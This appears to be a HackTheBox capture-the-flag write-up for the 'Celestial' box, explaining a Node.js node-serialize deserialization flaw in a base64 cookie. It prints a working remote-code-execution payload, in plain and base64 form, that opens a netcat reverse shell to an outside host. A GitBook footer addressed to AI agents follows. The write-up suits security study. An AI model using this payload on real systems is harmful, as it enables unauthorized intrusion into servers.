> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/hackthebox/boxes/celestial.md).

# Celestial

We are presented with a node.js application that upon refresh returns dynamic content.

<figure><img src="/files/Kee9MrbFyoDVDdPhgGjW" alt=""><figcaption></figcaption></figure>

Upon decoding the base64 cookie, we see that it is node JS. serialization

```bash
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}
```

The username field looks injectable, lets try to put our reverse shell payload in it.

```bash
{"username":"_$$ND_FUNC$$_function() {require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 1234>/tmp/f', (error, stdout, stderr) => { console.log(stdout); }); } ()"}
//encoded base64 version
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTYuMiAxMjM0Pi90bXAvZicsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpID0+IHsgY29uc29sZS5sb2coc3Rkb3V0KTsgfSk7IH0gKCkifQ==
```

*The `$$ND`*`FUNC$$` indicates the presence of embedded javascript and executes the rest of the following line (our reverse shell\_) immediately because of the IIFE brackets added at the end which will invoke the function when the object is created.

With that, we get our shell.

<figure><img src="/files/j7CgnI3XFMHxveDwVuYb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/hackthebox/boxes/celestial.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
